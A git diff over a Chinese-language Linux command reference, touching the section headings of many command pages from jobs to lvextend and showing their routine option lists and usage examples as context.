+### 选项 ```shell -l：显示进程号； @@ -25,11 +25,11 @@ jobs(选项)(参数) -s：仅输出停止状态（stoped）的任务。 ``` -### 参数 +### 参数 任务标识号：指定要显示的任务识别号。 -### 实例 +### 实例 使用jobs命令显示当前系统的任务列表，输入如下命令： diff --git a/command/joe.md b/command/joe.md index 583887b791e..9f0c10e801a 100644 --- a/command/joe.md +++ b/command/joe.md @@ -7,13 +7,13 @@ joe **joe命令** 是一款功能强大的纯文本编辑器，拥有众多编写程序和文本的优良特性。 -### 语法 +### 语法 ```shell joe(选项)(参数) ``` -### 选项 +### 选项 ```shell -force：强制在最后一行的结尾处加上换行符号； @@ -40,7 +40,7 @@ joe(选项)(参数) -skiptop<行数>：不使用屏幕上方指定的行数。 ``` -### 参数 +### 参数 文件：指定要编辑的文件。 diff --git a/command/join.md b/command/join.md index 7e99f4ab4b2..184a712ec5b 100644 --- a/command/join.md +++ b/command/join.md @@ -7,13 +7,13 @@ join **join命令** 用来将两个文件中，制定栏位内容相同的行连接起来。找出两个文件中，指定栏位内容相同的行，并加以合并，再输出到标准输出设备。 -### 语法 +### 语法 ```shell join(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<1或2>：除了显示原来的输出内容之外，还显示指令文件中没有相同栏位的行； @@ -26,7 +26,7 @@ join(选项)(参数) -2<栏位>：连接[文件2]指定的栏位。 ``` -### 参数 +### 参数 * 文件1：要进行合并操作的第1个文件参数； * 文件2：要进行合并操作的第2个文件参数。 diff --git a/command/jwhois.md b/command/jwhois.md index 52085f79d44..ab0bb8e82d9 100644 --- a/command/jwhois.md +++ b/command/jwhois.md @@ -7,13 +7,13 @@ whois 客户端服务 **jwhois** searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line. -### 语法 +### 语法 ```shell jwhois [选项] ``` -### 选项 +### 选项 ```shell --version display version number and patch level @@ -33,7 +33,7 @@ jwhois [选项] > 注：以上英文部分寻求网友协助翻译，翻译结果可发送至 sa(at)linuxde.net，谢谢！ -### 实例 +### 实例 显示指定用户信息： diff --git a/command/kernelversion.md b/command/kernelversion.md index 9cc1e454a00..af25569ea9b 100644 --- a/command/kernelversion.md +++ b/command/kernelversion.md @@ -7,7 +7,7 @@ kernelversion **kernelversion命令** 用于打印当前内核的主版本号。 -### 语法 +### 语法 ```shell kernelversion diff --git a/command/kexec.md b/command/kexec.md index b267b32a511..2f6b41b6a81 100644 --- a/command/kexec.md +++ b/command/kexec.md @@ -9,13 +9,13 @@ kexec **kexec的好处：** 要求高可用性的系统，以及需要不断重新启动系统的内核开发人员，都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分（也就是固件初始化硬件设备的阶段），所以重新启动变得非常快，可用性得到了提高。 -### 语法 +### 语法 ```shell kexec(选项) ``` -### 选项 +### 选项 ```shell -l：指定内核映像文件； diff --git a/command/killall.md b/command/killall.md index 730f297abd8..ecd3cddf8ce 100644 --- a/command/killall.md +++ b/command/killall.md @@ -7,13 +7,13 @@ killall **killall命令** 使用进程的名称来杀死进程，使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程，如果要找到我们需要杀死的进程，我们还需要在之前使用ps等命令再配合grep来查找进程，而killall把这两个过程合二为一，是一个很好用的命令。 -### 语法 +### 语法 ```shell killall(选项)(参数) ``` -### 选项 +### 选项 ```shell -e：对长名称进行精确匹配； @@ -27,11 +27,11 @@ killall(选项)(参数) -u：杀死指定用户的进程。 ``` -### 参数 +### 参数 进程名称：指定要杀死的进程名称。 -### 实例 +### 实例 杀死所有同名进程 diff --git a/command/last.md b/command/last.md index 216b09e0464..f3ca99e9c27 100644 --- a/command/last.md +++ b/command/last.md @@ -7,13 +7,13 @@ last **last命令** 用于显示用户最近登录信息。单独执行last命令，它会读取`/var/log/wtmp`的文件，并把该给文件的内容记录的登入系统的用户名单全部显示出来。 -### 语法 +### 语法 ```shell last(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：把从何处登入系统的主机名称或ip地址，显示在最后一行； @@ -24,12 +24,12 @@ last(选项)(参数) -x：显示系统关机，重新开机，以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名：显示用户登录列表； * 终端：显示从指定终端的登录列表。 -### 实例 +### 实例 last命令用了显示用户登录情况，以下是直接显示固定行数的记录： diff --git a/command/lastb.md b/command/lastb.md index ea6c1ee9fad..8e1940967c4 100644 --- a/command/lastb.md +++ b/command/lastb.md @@ -7,13 +7,13 @@ lastb **lastb命令** 用于显示用户错误的登录列表，此指令可以发现系统的登录异常。单独执行lastb命令，它会读取位于`/var/log`目录下，名称为btmp的文件，并把该文件内容记录的登入失败的用户名单，全部显示出来。 -### 语法 +### 语法 ```shell lastb(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：把从何处登入系统的主机名称或ip地址显示在最后一行； @@ -24,12 +24,12 @@ lastb(选项)(参数) -x：显示系统关机，重新开机，以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名：显示中的用户的登录列表； * 终端：显示从指定终端的登录列表。 -### 实例 +### 实例 首次运行lastb命令会报下的错误： diff --git a/command/lastlog.md b/command/lastlog.md index 4b00ba3f810..5fca6ac63df 100644 --- a/command/lastlog.md +++ b/command/lastlog.md @@ -9,13 +9,13 @@ lastlog lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间，并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号（tty）和上次登录时间。如果一个用户从未登录过，lastlog显示` **Never logged** `。注意需要以root身份运行该命令。 -### 语法 +### 语法 ```shell lastlog(选项) ``` -### 选项 +### 选项 ```shell -b<天数>：显示指定天数前的登录信息； @@ -24,7 +24,7 @@ lastlog(选项) -u<用户名>：显示指定用户的最近登录信息。 ``` -### 实例 +### 实例 ```shell lastlog diff --git a/command/ld.md b/command/ld.md index 63bc33da2a9..9322463aa23 100644 --- a/command/ld.md +++ b/command/ld.md @@ -7,21 +7,21 @@ ld **ld命令** 是GNU的连接器，将目标文件连接为可执行程序。 -### 语法 +### 语法 ```shell ld(选项)(参数) ld [options] objfile ... ``` -### 选项 +### 选项 ```shell -o：指定输出文件名； -e：指定程序的入口符号。 ``` -### 参数 +### 参数 目标文件：指定需要连接的目标文件。 diff --git a/command/ldconfig.md b/command/ldconfig.md index bf345eaecb4..a71e5598b97 100644 --- a/command/ldconfig.md +++ b/command/ldconfig.md @@ -9,13 +9,13 @@ ldconfig ldconfig通常在系统启动时运行，而当用户安装了一个新的动态链接库时，就需要手工运行这个命令。 -### 语法 +### 语法 ```shell ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... ``` -### 选项 +### 选项 ```shell -v或--verbose：用此选项时，ldconfig将显示正在扫描的目录及搜索到的动态链接库，还有它所创建的连接的名字。 diff --git a/command/ldd.md b/command/ldd.md index c53a6732cb9..1959bb5d9d2 100644 --- a/command/ldd.md +++ b/command/ldd.md @@ -7,13 +7,13 @@ ldd **ldd命令** 用于打印程序或者库文件所依赖的共享库列表。 -### 语法 +### 语法 ```shell ldd(选项)(参数) ``` -### 选项 +### 选项 ```shell --version：打印指令版本号； @@ -24,11 +24,11 @@ ldd(选项)(参数) --help：显示帮助信息。 ``` -### 参数 +### 参数 文件：指定可执行程序或者文库。 -### 其他介绍 +### 其他介绍 首先ldd不是一个可执行程序，而只是一个shell脚本 diff --git a/command/less.md b/command/less.md index 852c7c9bffe..bad756963bf 100644 --- a/command/less.md +++ b/command/less.md @@ -7,13 +7,13 @@ less **less命令** 的作用与more十分相似，都可以用来浏览文字档案的内容，不同的是less命令允许用户向前或向后浏览文件，而more命令只能向前浏览。用less命令显示文件时，用PageUp键向上翻页，用PageDown键向下翻页。要退出less程序，应按Q键。 -### 语法 +### 语法 ```shell less(选项)(参数) ``` -### 选项 +### 选项 ```shell -e：文件内容显示完毕后，自动退出； @@ -26,7 +26,7 @@ less(选项)(参数) -x<数字>：将TAB字符显示为指定个数的空格字符。 ``` -### 参数 +### 参数 文件：指定要分屏显示内容的文件。 diff --git a/command/let.md b/command/let.md index 75309052a05..ecf6b1cad9b 100644 --- a/command/let.md +++ b/command/let.md @@ -7,19 +7,19 @@ let **let命令** 是bash中用于计算的工具，提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量，如果表达式的值是非0，那么返回的状态值是0；否则，返回的状态值是1。 -### 语法 +### 语法 ```shell let arg [arg ...] #arg代表运算式 ``` -### 用法 +### 用法 自加操作`let no++` 自减操作`let no--` 简写形式`let no+=10`，`let no-=20`，分别等同于`let no=no+10，``let no=no-20` -### 实例 +### 实例 ```shell #!/bin/bash diff --git a/command/lftp.md b/command/lftp.md index 5b811a9b6fe..65eb427f038 100644 --- a/command/lftp.md +++ b/command/lftp.md @@ -7,13 +7,13 @@ lftp **lftp命令** 是一款优秀的文件客户端程序，它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全，记不得命令双击tab键，就可以看到可能的选项了。 -### 语法 +### 语法 ```shell lftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：指定lftp指令要执行的脚本文件； @@ -22,11 +22,11 @@ lftp(选项)(参数) --version：显示指令的版本号。 ``` -### 参数 +### 参数 站点：要访问的站点的ip地址或者域名。 -### 实例 +### 实例 **登录ftp** diff --git a/command/lftpget.md b/command/lftpget.md index fcf8ad1cdf1..fd59fc8978f 100644 --- a/command/lftpget.md +++ b/command/lftpget.md @@ -7,13 +7,13 @@ lftpget **lftpget命令** 通过调用lftp指令下载指定的文件。 -### 语法 +### 语法 ```shell lftpget(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：继续先前的下载； @@ -21,7 +21,7 @@ lftpget(选项)(参数) -v：输出详细信息。 ``` -### 参数 +### 参数 文件：指定要下载的文件，文件必须是合法的URL路径。 diff --git a/command/lha.md b/command/lha.md index 4bc1ec9e155..1eddea9bdc0 100644 --- a/command/lha.md +++ b/command/lha.md @@ -7,7 +7,7 @@ lha **lha命令** 是从lharc演变而来的压缩程序，文件经它压缩后，会另外产生具有`.lzh`扩展名的压缩文件。 -### 选项 +### 选项 ```shell -a或a：压缩文件，并加入到压缩文件内。 @@ -34,7 +34,7 @@ lha -z或z：不压缩文件，直接把它加入，更新压缩文件。 ``` -### 实例 +### 实例 ```shell lha -a abc.lhz a.b #压缩a.b文件，压缩后生成 abc.lhz 文件 diff --git a/command/lilo.md b/command/lilo.md index 7569ed9d7ed..cb7ae664adf 100644 --- a/command/lilo.md +++ b/command/lilo.md @@ -11,13 +11,13 @@ Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 虽然 LILO 仍在不断地发展，但 LILO 工作原理的基本概念保持不变。 -### 语法 +### 语法 ```shell lilo(选项) ``` -### 选项 +### 选项 ```shell -b<外围设备代号>：指定安装lilo之处的外围设备代号； @@ -43,7 +43,7 @@ lilo(选项) -V：显示版本信息。 ``` -### 实例 +### 实例 **使用 LILO 作为引导加载程序** diff --git a/command/ln.md b/command/ln.md index b79af64b2b0..37512dee86f 100644 --- a/command/ln.md +++ b/command/ln.md @@ -9,7 +9,7 @@ ln 注意：符号链接文件不是一个独立的文件，它的许多属性依赖于源文件，所以给符号链接文件设置存取权限是没有意义的。 -### 语法 +### 语法 ```shell ln [选项]... [-T] 目标 链接名 (第一种格式) @@ -18,7 +18,7 @@ ln [选项]... [-T] 目标 链接名 (第一种格式) 　或：ln [选项]... -t 目录 目标... (第四种格式) ``` -### 选项 +### 选项 ```shell --backup[=CONTROL] 为每个已存在的目标文件创建备份文件 @@ -39,7 +39,7 @@ ln [选项]... [-T] 目标 链接名 (第一种格式) --version 显示版本信息并退出 ``` -### 参数 +### 参数 * 源文件：指定链接的源文件。如果使用`-s`选项创建符号链接，则“源文件”可以是文件或者目录。创建硬链接时，则“源文件”参数只能是文件； * 目标文件：指定源文件的目标链接文件。 @@ -51,7 +51,7 @@ existing, nil # 若有数字的备份文件已经存在则使用数字，否 simple, never # 永远使用普通方式备份 ``` -### 实例 +### 实例 将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c @@ -76,7 +76,7 @@ Linux具有为一个文件起多个名字的功能，称为链接。被链接的 文件链接有两种形式，即硬链接和符号链接。 -### 硬链接 +### 硬链接 建立硬链接时，在另外的目录或本目录中增加目标文件的一个目录项，这样，一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。 @@ -89,7 +89,7 @@ Linux具有为一个文件起多个名字的功能，称为链接。被链接的 * 不能对目录文件做硬链接。 * 不能在不同的文件系统之间做硬链接。就是说，链接文件和被链接文件必须位于同一个文件系统中。 -### 符号链接 +### 符号链接 符号链接也称为软链接，是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上，它只是一个文本文件（如图中的abc文件），其中包含它提供链接的另一个文件的路径名，如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时，将沿着链接方向前进来访问实际的文件。 diff --git a/command/lnstat.md b/command/lnstat.md index 458c783aac3..679a9030af6 100644 --- a/command/lnstat.md +++ b/command/lnstat.md @@ -7,13 +7,13 @@ lnstat **lnstat命令** 用来显示Linux系统的网路状态。 -### 语法 +### 语法 ```shell lnstat(选项) ``` -### 选项 +### 选项 ```shell -h：显示帮助信息； diff --git a/command/logger.md b/command/logger.md index 96d505cd857..cfa79309f8b 100644 --- a/command/logger.md +++ b/command/logger.md @@ -7,13 +7,13 @@ logger **logger命令** 是用于往系统中写入日志，他提供一个shell命令接口到syslog系统模块 -### 语法 +### 语法 ```shell logger [options] [message] ``` -### 选项 +### 选项 ```shell -T, --tcp 使用流连接(TCP) diff --git a/command/login.md b/command/login.md index fa3d409d220..ca0ed0f5aa4 100644 --- a/command/login.md +++ b/command/login.md @@ -7,20 +7,20 @@ login **login命令** 用于给出登录界面，可用于重新登录或者切换用户身份，也可通过它的功能随时更换登入身份。在Slackware发行版中 ，您可在命令后面附加欲登入的用户名称，它会直接询问密码，等待用户输入。当`/etc/nologin`文件存在时，系统只root帐号登入系统，其他用户一律不准登入。 -### 语法 +### 语法 ```shell login(选项)(参数) ``` -### 选项 +### 选项 ```shell -p：告诉login指令不销毁环境变量； -h：指定远程服务器的主机名。 ``` -### 参数 +### 参数 用户名：指定登录使用的用户名。 diff --git a/command/logname.md b/command/logname.md index 9bef5cf1623..5395d381ff3 100644 --- a/command/logname.md +++ b/command/logname.md @@ -7,13 +7,13 @@ logname **logname命令** 用来显示用户名称。 -### 语法 +### 语法 ```shell logname(选项) ``` -### 选项 +### 选项 ```shell --help：在线帮助； diff --git a/command/logout.md b/command/logout.md index d6387e4e1c4..9a429dc70e4 100644 --- a/command/logout.md +++ b/command/logout.md @@ -7,7 +7,7 @@ logout **logout命令** 用于退出当前登录的Shell，logout指令让用户退出系统，其功能和login指令相互对应。 -### 语法 +### 语法 ```shell logout diff --git a/command/logrotate.md b/command/logrotate.md index aef23ae2e62..c080fb691a3 100644 --- a/command/logrotate.md +++ b/command/logrotate.md @@ -7,13 +7,13 @@ logrotate **logrotate命令** 用于对系统日志进行轮转、压缩和删除，也可以将日志发送到指定邮箱。使用logrotate指令，可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日，每周或每月处理，也能在文件太大时立即处理。您必须自行编辑，指定配置文件，预设的配置文件存放在`/etc/logrotate.conf`文件中。 -### 语法 +### 语法 ```shell logrotate(选项)(参数) ``` -### 选项 +### 选项 ```shell -?或--help：在线帮助； @@ -24,7 +24,7 @@ logrotate(选项)(参数) -usage：显示指令基本用法。 ``` -### 参数 +### 参数 配置文件：指定lograote指令的配置文件。 diff --git a/command/logsave.md b/command/logsave.md index 2d65171fccf..ea38c0b106e 100644 --- a/command/logsave.md +++ b/command/logsave.md @@ -7,19 +7,19 @@ logsave **logsave命令** 运行给定的命令，并将命令的输出信息保存到指定的日志文件中。 -### 语法 +### 语法 ```shell logsave(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：追加信息到指定的日志文件中。 ``` -### 参数 +### 参数 * 日志文件：指定记录运行信息的日志文件； * 指令：需要执行的指令。 diff --git a/command/logwatch.md b/command/logwatch.md index 34bc3ade07e..e5255809638 100644 --- a/command/logwatch.md +++ b/command/logwatch.md @@ -7,13 +7,13 @@ logwatch **logwatch命令** 是一个可定制和可插入式的日志监视系统，它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次，可以从`/etc/cron.daily`里看到。 -### 语法 +### 语法 ```shell logwatch(选项) ``` -### 选项 +### 选项 ```shell --detail<报告详细程度>：指定日志报告的详细程度； @@ -31,7 +31,7 @@ logwatch(选项) --help：显示指令的帮助信息。 ``` -### 实例 +### 实例 检查你的主机上是否已经存在Logwatch（Redhat默认已经安装了Logwatch，不过版本比较旧）： diff --git a/command/look.md b/command/look.md index 0664587da7c..d906a624d3a 100644 --- a/command/look.md +++ b/command/look.md @@ -7,13 +7,13 @@ look **look命令** 用于显示文件中以指定字符串开头的任意行。 -### 语法 +### 语法 ```shell look(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：使用另一个字典文件web2，该文件也位于/usr/dict目录下； @@ -22,7 +22,7 @@ look(选项)(参数) -t<字尾字符串>：设置字尾字符串。 ``` -### 参数 +### 参数 * 字符串：指定要查找的字符串； * 文件：指定要查找的目标文件。 diff --git a/command/losetup.md b/command/losetup.md index 889608c9f8b..b28b43f58de 100644 --- a/command/losetup.md +++ b/command/losetup.md @@ -7,14 +7,14 @@ losetup **losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备，籍此来模拟整个文件系统，让用户得以将其视为硬盘驱动器，光驱或软驱等设备，并挂入当作目录来使用。 -### 语法 +### 语法 ```shell losetup [ -e encryption ] [ -o offset ] loop_device file losetup [ -d ] loop_device ``` -### 选项 +### 选项 ```shell -a 显示所有循环设备的状态。 @@ -24,12 +24,12 @@ losetup [ -d ] loop_device -o <偏移量>设置数据偏移量，单位是字节。 ``` -### 参数 +### 参数 * loop_device：循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。 * file：要与循环设备相关联的文件名，这个往往是一个磁盘镜象文件，如 *.img -### loop设备介绍 +### loop设备介绍 在类 UNIX 系统里，loop 设备是一种伪设备(pseudo-device)，或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前，一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此，如果这个文件包含有一个完整的文件系统，那么这个文件就可以像一个磁盘设备一样被 mount 起来。 @@ -37,7 +37,7 @@ losetup [ -d ] loop_device 至此，顺便可以再理解一下 loop 之含义：对于第一层文件系统，它直接安装在我们计算机的物理设备之上；而对于这种被 mount 起来的镜像文件(它也包含有文件系统)，它是建立在第一层文件系统之上，这样看来，它就像是在第一层文件系统之上再绕了一圈的文件系统，所以称为 loop。 -### 实例 +### 实例 创建空的磁盘镜像文件，这里创建一个1.44M的软盘： diff --git a/command/lp.md b/command/lp.md index c29927ba555..4dd541ad031 100644 --- a/command/lp.md +++ b/command/lp.md @@ -7,13 +7,13 @@ lp **lp命令** 用于打印文件，或者修改排队的打印任务。与lpr命令类似，lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同（稍微复杂点）的参数选项设置。 -### 语法 +### 语法 ```shell lp(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：与打印服务器连接时强制使用加密； @@ -27,11 +27,11 @@ lp(选项)(参数) -P：指定需要打印的页码。 ``` -### 参数 +### 参数 文件：需打印的文件。 -### 实例 +### 实例 要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`，请输入： diff --git a/command/lpadmin.md b/command/lpadmin.md index 9fd1d69af81..e8c4893e3a5 100644 --- a/command/lpadmin.md +++ b/command/lpadmin.md @@ -7,13 +7,13 @@ lpadmin **lpadmin命令** 用于配置CUPS套件中的打印机和类，也被用来设置打印服务器默认打印机。 -### 语法 +### 语法 ```shell lpadmin(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：将打印机加入类； @@ -30,7 +30,7 @@ lpadmin(选项)(参数) -d：设置默认打印机。 ``` -### 参数 +### 参数 打印机：指定要配置的打印机的名称。 diff --git a/command/lpc.md b/command/lpc.md index e08a0481448..7c9f801bb4e 100644 --- a/command/lpc.md +++ b/command/lpc.md @@ -7,13 +7,13 @@ lpc **lpc命令** 式命令行方式打印机控制程序，有5个内置命令。 -### 语法 +### 语法 ```shell lpc ``` -### 实例 +### 实例 ```shell [root@localhost ~]# lpc diff --git a/command/lpq.md b/command/lpq.md index 289d8ec95a3..b6e732619f8 100644 --- a/command/lpq.md +++ b/command/lpq.md @@ -7,13 +7,13 @@ lpq **lpq命令** 用于显示打印队列中的打印任务的状态信息。 -### 语法 +### 语法 ```shell lpq(选项) ``` -### 选项 +### 选项 ```shell -E：强制使用加密方式与服务器连接； diff --git a/command/lpr.md b/command/lpr.md index 1391f4fb7bd..7fce953514d 100644 --- a/command/lpr.md +++ b/command/lpr.md @@ -7,13 +7,13 @@ lpr **lpr命令** 用于将文件发送给指定打印机进行打印，如果不指定目标打印机，则使用默认打印机。 -### 语法 +### 语法 ```shell lpr(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：与打印服务器连接时强制使用加密； @@ -27,11 +27,11 @@ lpr(选项)(参数) -r：打印完成后删除文件。 ``` -### 参数 +### 参数 文件：需打印的文件。 -### 实例 +### 实例 将man1和man2送到打印机lp进行打印： diff --git a/command/lprm.md b/command/lprm.md index 5571e8c730f..b9c9b2a9f3c 100644 --- a/command/lprm.md +++ b/command/lprm.md @@ -7,13 +7,13 @@ lprm **lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中，这个命令可用来将常未送到打印机的任务取消。 -### 语法 +### 语法 ```shell lprm(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：与打印服务器连接时强制使用加密； @@ -21,11 +21,11 @@ lprm(选项)(参数) -U：指定可选的用户名。 ``` -### 参数 +### 参数 打印任务：指定需删除的打印任务号。 -### 实例 +### 实例 将打印机hpprint中的第102号任务移除： diff --git a/command/lpstat.md b/command/lpstat.md index 8a7897d941d..64dadb0f1e5 100644 --- a/command/lpstat.md +++ b/command/lpstat.md @@ -7,13 +7,13 @@ lpstat **lpstat命令** 用于显示CUPS中打印机的状态信息。 -### 语法 +### 语法 ```shell lpstat(选项) ``` -### 选项 +### 选项 ```shell -E：与打印机连接时加密； diff --git a/command/ls.md b/command/ls.md index 84a6a4c3d58..f7d7056e410 100644 --- a/command/ls.md +++ b/command/ls.md @@ -7,7 +7,7 @@ ls **ls命令** 用来显示目标列表，在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示，以分区不同类型的文件。 -### 语法 +### 语法 ```shell ls [选项] [文件名...] @@ -17,7 +17,7 @@ ls [选项] [文件名...] [--color[={none,auto,always}]] [--help] [--version] [--] ``` -### 选项 +### 选项 ```shell -C # 多列输出，纵向排序。 @@ -168,11 +168,11 @@ none # 不使用颜色，这是缺省项。 # 不能恰当的生成文件时，这个选项会提供帮助。 ``` -### 参数 +### 参数 目录：指定要显示列表的目录，也可以是具体的文件。 -### 实例 +### 实例 ```shell $ ls # 仅列出当前目录可见文件 diff --git a/command/lsattr.md b/command/lsattr.md index f625787f071..4dd888a7038 100644 --- a/command/lsattr.md +++ b/command/lsattr.md @@ -7,13 +7,13 @@ lsattr **lsattr命令** 用于查看文件的第二扩展文件系统属性。 -### 语法 +### 语法 ```shell lsattr(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：可显示设备属性的当前值，但这个当前值是从用户设备数据库中获得的，而不是从设备直接获得的。 @@ -25,11 +25,11 @@ lsattr(选项)(参数) lsattr经常使用的几个选项-D，-E，-R这三个选项不可以一起使用，它们是互斥的，经常使用的还有-l,-H，使用lsattr时，必须指出具体的设备名，用-l选项指出要显示设备的逻辑名称，否则要用-c，-s，-t等选项唯一的确定某个已存在的设备。 -### 参数 +### 参数 文件：指定显示文件系统属性的文件名。 -### 实例 +### 实例 ```shell lsattr -E -l rmt0 -H diff --git a/command/lsblk.md b/command/lsblk.md index b7b2b5cadd2..604720e3992 100644 --- a/command/lsblk.md +++ b/command/lsblk.md @@ -7,7 +7,7 @@ lsblk **lsblk命令** 用于列出所有可用块设备的信息，而且还能显示他们之间的依赖关系，但是它不会列出RAM盘的信息。块设备有硬盘，闪存盘，cd-ROM等等。lsblk命令包含在util-linux-ng包中，现在该包改名为util-linux。这个包带了几个其它工具，如dmesg。要安装lsblk，请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。 -### 选项 +### 选项 ```shell -a, --all # 显示所有设备。 @@ -27,7 +27,7 @@ lsblk -t, --topology # 显示拓扑结构信息。 ``` -### 实例 +### 实例 lsblk命令默认情况下将以树状列出所有块设备。打开终端，并输入以下命令： diff --git a/command/lscpu.md b/command/lscpu.md index 66715329df0..f5e8b8a322a 100644 --- a/command/lscpu.md +++ b/command/lscpu.md @@ -7,13 +7,13 @@ lscpu **lscpu命令** 是显示有关CPU架构的信息。 -### 语法 +### 语法 ```shell lscpu [选项] ``` -### 选项 +### 选项 ```shell -a, --all # 打印在线和离线CPU（默认为-e） @@ -28,7 +28,7 @@ lscpu [选项] -V, --version # 输出版本信息并退出 ``` -### 参数 +### 参数 ```shell 可用列： diff --git a/command/lsmod.md b/command/lsmod.md index 417c1ff6829..7f378114162 100644 --- a/command/lsmod.md +++ b/command/lsmod.md @@ -7,13 +7,13 @@ lsmod **lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性，应此在编译核心时，务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块，待需要时再分别载入。 -### 语法 +### 语法 ```shell lsmod ``` -### 实例 +### 实例 ```shell [root@LinServ-1 ~]# lsmod diff --git a/command/lspci.md b/command/lspci.md index 15542de250a..21777f32f12 100644 --- a/command/lspci.md +++ b/command/lspci.md @@ -7,13 +7,13 @@ lspci **lspci命令** 用于显示当前主机的所有PCI总线信息，以及所有已连接的PCI设备信息。 -### 语法 +### 语法 ```shell lspci(选项) ``` -### 选项 +### 选项 ```shell -n：以数字方式显示PCI厂商和设备代码； @@ -25,7 +25,7 @@ lspci(选项) -m：以机器可读方式显示PCI设备信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# lspci diff --git a/command/lsusb.md b/command/lsusb.md index 5d8f4535fd8..d77b466cbaa 100644 --- a/command/lsusb.md +++ b/command/lsusb.md @@ -9,13 +9,13 @@ lsusb lsusb命令是一个学习USB驱动开发，认识USB设备的助手，推荐大家使用，如果您的开发板中或者产品中没有lsusb命令可以自己移植一个，放到文件系统里面。 -### 语法 +### 语法 ```shell lsusb(选项) ``` -### 选项 +### 选项 ```shell -v：显示USB设备的详细信息； @@ -25,7 +25,7 @@ lsusb(选项) -V：显示命令的版本信息。 ``` -### 实例 +### 实例 插入usb鼠标后执行lsusb的输出内容如下: diff --git a/command/ltrace.md b/command/ltrace.md index ab2f14e4892..ff07e62d444 100644 --- a/command/ltrace.md +++ b/command/ltrace.md @@ -7,13 +7,13 @@ ltrace **ltrace命令** 是用来跟踪进程调用库函数的情况。 -### 语法 +### 语法 ```shell ltrace [option ...] [command [arg ...]] ``` -### 选项 +### 选项 ```shell -a 对齐具体某个列的返回值。 @@ -39,7 +39,7 @@ ltrace [option ...] [command [arg ...]] -x NAME treat the global NAME like a library subroutine.（求翻译） ``` -### 实例 +### 实例 最基本应用，不带任何参数： diff --git a/command/lvcreate.md b/command/lvcreate.md index 2bb8185e09a..326412e1296 100644 --- a/command/lvcreate.md +++ b/command/lvcreate.md @@ -7,24 +7,24 @@ lvcreate **lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下，例如：在卷组"vg1000"上创建一个逻辑卷"lvol0"，则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 -### 语法 +### 语法 ```shell lvcreate(选项)(参数) ``` -### 选项 +### 选项 ```shell -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 ``` -### 参数 +### 参数 逻辑卷：指定要创建的逻辑卷名称。 -### 实例 +### 实例 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令： diff --git a/command/lvdisplay.md b/command/lvdisplay.md index 3322e19ff51..eb0c0b8e461 100644 --- a/command/lvdisplay.md +++ b/command/lvdisplay.md @@ -7,17 +7,17 @@ lvdisplay **lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数，则lvdisplay命令显示所有的逻辑卷属性。否则，仅显示指定的逻辑卷属性。 -### 语法 +### 语法 ```shell lvdisplay(参数) ``` -### 参数 +### 参数 逻辑卷：指定要显示属性的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令： diff --git a/command/lvextend.md b/command/lvextend.md index bd280b1410d..80c2a6f885b 100644 --- a/command/lvextend.md +++ b/command/lvextend.md @@ -7,24 +7,24 @@ lvextend **lvextend命令** 用于在线扩展逻辑卷的空间大小，而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间，整个空间扩展过程对于应用程序来说是完全透明的。 -### 语法 +### 语法 ```shell lvextend(选项)(参数) ``` -### 选项 +### 选项 ```shell -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 